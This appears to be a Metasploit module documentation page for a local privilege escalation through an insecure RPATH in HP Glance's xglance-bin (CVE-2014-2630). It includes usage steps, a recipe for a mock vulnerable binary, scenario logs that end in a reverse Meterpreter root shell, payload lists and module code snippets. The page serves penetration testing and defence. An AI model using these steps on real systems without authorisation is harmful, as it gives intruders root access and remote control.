HP Performance Monitoring xglance Priv Esc - Metasploit
This page contains detailed information about how to use the exploit/linux/local/hp_xglance_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HP Performance Monitoring xglance Priv Esc
Module: exploit/linux/local/hp_xglance_priv_esc
Source code: modules/exploits/linux/local/hp_xglance_priv_esc.rb
Disclosure date: 2014-11-19
Last modification time: 2022-10-05 19:43:07 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-2630
This exploit takes advantage of xglance-bin, part of HP's Glance (or Performance Monitoring) version 11 'and subsequent' , which was compiled with an insecure RPATH option. The RPATH includes a relative path to -L/lib64/ which can be controlled by a user. Creating libraries in this location will result in an escalation of privileges to root.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/hp_xglance_priv_esc
msf exploit(hp_xglance_priv_esc) > show targets
... a list of targets ...
msf exploit(hp_xglance_priv_esc) > set TARGET target-id
msf exploit(hp_xglance_priv_esc) > show options
... show and set options ...
msf exploit(hp_xglance_priv_esc) > set SESSION session-id
msf exploit(hp_xglance_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This exploit takes advantage of xglance-bin, part of HP's Glance (or Performance Monitoring) version 11 'and subsequent', which was compiled with an insecure RPATH option. The RPATH includes a relative path to -L/lib64/ which can be controlled by a user. Creating libraries in this location will result in an escalation of privileges to root.
Mock Application
Unfortunately the application is a pay for application and the version is many years old by the time the
PoC was released. Instead, we use a mock binary based on the permissions noted in the original CVE
announcement, and the ldd
details from the PoC.
The following commands were performed on Fedora 31 to create the binary.
When the binary was pushed to rhel7.1 for testing, a 'of size' libXm.so.4 was required
so cp /lib64/libffi.so.6 ./-L/lib64/libXm.so.4
was enough to make the binary
vulnerable.
sudo su
cd ~
dnf install motif-devel
cat > main.c << DONE
#include
#include
void main(){
printf("HP xglance-bin emulator %d\n",XmVERSION);
char* x = XmCvtXmStringToCT(NULL);
printf("%p",x);
}
DONE
mkdir -p ./-L/lib64;
cd ./-L/lib64;
The follow commands copies files to the path for building. However, they may not be installed on a default rhel system.
# libXm.so.3 may fail on newer systems like fedora 31
cp /usr/lib64/libXm.so.3 .;
cp /usr/lib64/libXm.so.4 libXm.so.3;
cp /usr/lib64/libXp.so.6 .;
cp /usr/lib64/libXt.so.6 .;
cd ../..;
gcc -lXm main.c -o xglance-bin -Wl,-rpath=-L/lib64:/usr/lib64:/usr/X11R6/lib64:/opt/perf/lib64;
mkdir -p /opt/perf/bin/;
cp xglance-bin /opt/perf/bin/;
chown root:bin /opt/perf/bin/xglance-bin;
chmod 4555 /opt/perf/bin/xglance-bin;
To confirm the file is vulnerable, run:
[fedora@fedora31 ~]$ ldd /opt/perf/bin/xglance-bin | grep -- -L/lib64/
libXt.so.6 => -L/lib64/libXt.so.6 (0x00007f727441b000)
libXp.so.6 => -L/lib64/libXp.so.6 (0x00007f72742b2000)
We'll want to see one or more libX*.so*
files with -L/lib64/
.
Verification Steps
- Install the application
- Start msfconsole
- Get a session
- Do:
use exploit/linux/local/hp_xglance_priv_esc
- Do:
set session #
- Do:
run
- You should get a root shell.
Options
COMPILE
If the .so exploit should be compiled on the system. gcc
is required.
More noisey, but more AV resilient. Default is true
.
GLANCE_PATH
Path to the xglance-bin
executable. Default is /opt/perf/bin/xglance-bin
.
Scenarios
Mock binary on Fedora 31 with compile
[*] Processing xglance.rb for ERB directives.
resource (xglance.rb)> use auxiliary/scanner/ssh/ssh_login
resource (xglance.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (xglance.rb)> set username fedora
username => fedora
resource (xglance.rb)> set password fedora
password => fedora
resource (xglance.rb)> run
[+] 2.2.2.2:22 - Success: 'fedora:fedora' ''
[*] Command shell session 1 opened (1.1.1.1:34379 -> 2.2.2.2:22) at 2020-04-19 14:39:45 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (xglance.rb)> use exploit/linux/local/hp_xglance_priv_esc
resource (xglance.rb)> set session -1
session => -1
resource (xglance.rb)> set verbose true
verbose => true
resource (xglance.rb)> rexploit
[*] Reloading module...
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] xglance-bin found, and linked to vulnerable relative path -L/lib64/ through libXt.so.6
[*] Deleting exploit folder: /tmp/-L
[*] Creating exploit folder: /tmp/-L/lib64/
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Max line length is 65537
[*] Writing 106298 bytes in 7 chunks of 61359 bytes (octal-encoded), using printf
[*] Next chunk is 61584 bytes
[*] Next chunk is 60411 bytes
[*] Next chunk is 61525 bytes
[*] Next chunk is 61438 bytes
[*] Next chunk is 61757 bytes
[*] Next chunk is 30375 bytes
[*] uploading payload
[*] Writing '/tmp/.u4aLoiq' (207 bytes) ...
[*] Max line length is 65537
[*] Writing 207 bytes in 1 chunks of 630 bytes (octal-encoded), using printf
[*] Launching xglance-bin...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:55298) at 2020-04-19 14:40:05 -0400
meterpreter > getuid
Server username: no-user @ fedora31 (uid=0, gid=1000, euid=0, egid=1000)
meterpreter > shell
Process 1699 created.
Channel 1 created.
whoami
root
^Z
Background channel 1? [y/N] y
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Fedora 31 (Linux 5.3.7-301.fc31.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Mock binary on rhel 7.1 no compile
[*] Processing xglance.rb for ERB directives.
resource (xglance.rb)> use auxiliary/scanner/ssh/ssh_login
resource (xglance.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (xglance.rb)> set username redhat
username => redhat
resource (xglance.rb)> set password redhat
password => redhat
resource (xglance.rb)> run
[+] 2.2.2.2:22 - Success: 'redhat:redhat' ''
[*] Command shell session 1 opened (1.1.1.1:45901 -> 2.2.2.2:22) at 2020-04-19 14:59:53 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 exploit(linux/local/hp_xglance_priv_esc) > rexploit
[*] Reloading module...
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] xglance-bin found, and linked to vulnerable relative path -L/lib64/ through libXm.so.4
[*] Deleting exploit folder: /tmp/-L
[*] Creating exploit folder: /tmp/-L/lib64/
[*] Dropping pre-compiled exploit on system...
[*] Writing '/tmp/-L/lib64/libXm.so.3' (368248 bytes) ...
[*] Max line length is 65537
[*] Writing 368248 bytes in 23 chunks of 46385 bytes (octal-encoded), using printf
[*] Next chunk is 53790 bytes
[*] Next chunk is 38675 bytes
[*] Next chunk is 38759 bytes
[*] Next chunk is 38694 bytes
[*] Next chunk is 38757 bytes
[*] Next chunk is 38658 bytes
[*] Next chunk is 63466 bytes
[*] Next chunk is 62734 bytes
[*] Next chunk is 63857 bytes
[*] Next chunk is 63812 bytes
[*] Next chunk is 46324 bytes
[*] Next chunk is 35989 bytes
[*] Next chunk is 38405 bytes
[*] Next chunk is 38978 bytes
[*] Next chunk is 38950 bytes
[*] Next chunk is 38935 bytes
[*] Next chunk is 40042 bytes
[*] Next chunk is 63562 bytes
[*] Next chunk is 63562 bytes
[*] Next chunk is 63521 bytes
[*] Next chunk is 63618 bytes
[*] Next chunk is 28951 bytes
[*] uploading payload
[*] Writing '/tmp/.u4aLoiq' (207 bytes) ...
[*] Max line length is 65537
[*] Writing 207 bytes in 1 chunks of 630 bytes (octal-encoded), using printf
[*] Launching xglance-bin...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:33373) at 2020-04-19 15:09:55 -0400
[+] Deleted /tmp/-L/lib64/libXm.so.3
[+] Deleted /tmp/.u4aLoiq
meterpreter > getuid
Server username: no-user @ localhost.localdomain (uid=0, gid=1000, euid=0, egid=1000)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/hp_xglance_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/hp_xglance_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/hp_xglance_priv_esc) > show info
Name: HP Performance Monitoring xglance Priv Esc
Module: exploit/linux/local/hp_xglance_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2014-11-19
Provided by:
h00die
Tim Brown
Robert Jaroszuk
Marco Ortisi
Available targets:
Id Name
-- ----
0 Automatic
1 Linux x86
2 Linux x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
GLANCE_PATH /opt/perf/bin/xglance-bin yes Path to xglance-bin
SESSION yes The session to run this module on.
Payload information:
Description:
This exploit takes advantage of xglance-bin, part of HP's Glance (or
Performance Monitoring) version 11 'and subsequent' , which was
compiled with an insecure RPATH option. The RPATH includes a
relative path to -L/lib64/ which can be controlled by a user.
Creating libraries in this location will result in an escalation of
privileges to root.
References:
https://www.exploit-db.com/exploits/48000
https://seclists.org/fulldisclosure/2014/Nov/55
https://www.redtimmy.com/linux-hacking/perf-exploiter/
https://github.com/redtimmy/perf-exploiter
https://packetstormsecurity.com/files/156206
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/
https://nvd.nist.gov/vuln/detail/CVE-2014-2630
Module Options
This is a complete list of options available in the linux/local/hp_xglance_priv_esc exploit:
msf6 exploit(linux/local/hp_xglance_priv_esc) > show options
Module options (exploit/linux/local/hp_xglance_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
GLANCE_PATH /opt/perf/bin/xglance-bin yes Path to xglance-bin
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/hp_xglance_priv_esc exploit:
msf6 exploit(linux/local/hp_xglance_priv_esc) > show advanced
Module advanced options (exploit/linux/local/hp_xglance_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/hp_xglance_priv_esc module can exploit:
msf6 exploit(linux/local/hp_xglance_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Linux x86
2 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/hp_xglance_priv_esc exploit:
msf6 exploit(linux/local/hp_xglance_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/hp_xglance_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/hp_xglance_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<GLANCE_PATH> not found on system
Here is a relevant code snippet related to the "<GLANCE_PATH> not found on system" error message:
90: lib
91: end
92:
93: def check
94: unless setuid? glance_path
95: vprint_error "#{glance_path} not found on system"
96: return CheckCode::Safe
97: end
98: lib = find_libs
99: if lib.nil?
100: vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
Patched xglance-bin, not linked to -L/lib64/
Here is a relevant code snippet related to the "Patched xglance-bin, not linked to -L/lib64/" error message:
95: vprint_error "#{glance_path} not found on system"
96: return CheckCode::Safe
97: end
98: lib = find_libs
99: if lib.nil?
100: vprint_error 'Patched xglance-bin, not linked to -L/lib64/'
101: return CheckCode::Safe
102: end
103: vprint_good "xglance-bin found, and linked to vulnerable relative path -L/lib64/ through #{lib}"
104: CheckCode::Appears
105: end
Session already has root privileges. Set ForceExploit to override
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override" error message:
104: CheckCode::Appears
105: end
106:
107: def exploit
108: if is_root? && !datastore['ForceExploit']
109: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
110: end
111:
112: unless writable? base_dir
113: fail_with Failure::BadConfig, "#{base_dir} is not writable"
114: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
108: if is_root? && !datastore['ForceExploit']
109: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
110: end
111:
112: unless writable? base_dir
113: fail_with Failure::BadConfig, "#{base_dir} is not writable"
114: end
115:
116: # delete exploit folder in case a previous attempt failed
117: vprint_status("Deleting exploit folder: #{base_dir}/-L")
118: rm_cmd = "rm -rf \"#{base_dir}/-L\""
Manual cleanup of <EXPLOIT_FOLDER> may be required
Here is a relevant code snippet related to the "Manual cleanup of <EXPLOIT_FOLDER> may be required" error message:
154: cmd_exec "ln -s libXm.so.3 #{l}"
155: end
156:
157: # Launch exploit
158: print_status 'Launching xglance-bin...'
159: cd base_dir
160: output = cmd_exec glance_path
161: output.each_line { |line| vprint_status line.chomp }
162: print_warning("Manual cleanup of #{exploit_folder} may be required")
163: end
164: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- EDB-48000
- https://seclists.org/fulldisclosure/2014/Nov/55
- https://www.redtimmy.com/linux-hacking/perf-exploiter/
- https://github.com/redtimmy/perf-exploiter
- PACKETSTORM-156206
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2630/
- CVE-2014-2630
See Also
Check also the following modules related to this module:
- exploit/linux/local/hp_smhstart
- exploit/linux/http/hp_system_management
- exploit/linux/http/hp_van_sdn_cmd_inject
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- auxiliary/admin/hp/hp_data_protector_cmd
- auxiliary/admin/hp/hp_ilo_create_admin_account
- auxiliary/admin/hp/hp_imc_som_create_account
- auxiliary/dos/hp/data_protector_rds
- exploit/linux/browser/adobe_flashplayer_aslaunch
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/efw_chpasswd_exec
- exploit/linux/http/glpi_htmlawed_php_injection
- exploit/linux/http/php_imap_open_rce
- exploit/linux/http/seagate_nas_php_exec_noauth
- exploit/linux/misc/hplip_hpssd_exec
Authors
- h00die
- Tim Brown
- Robert Jaroszuk
- Marco Ortisi
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.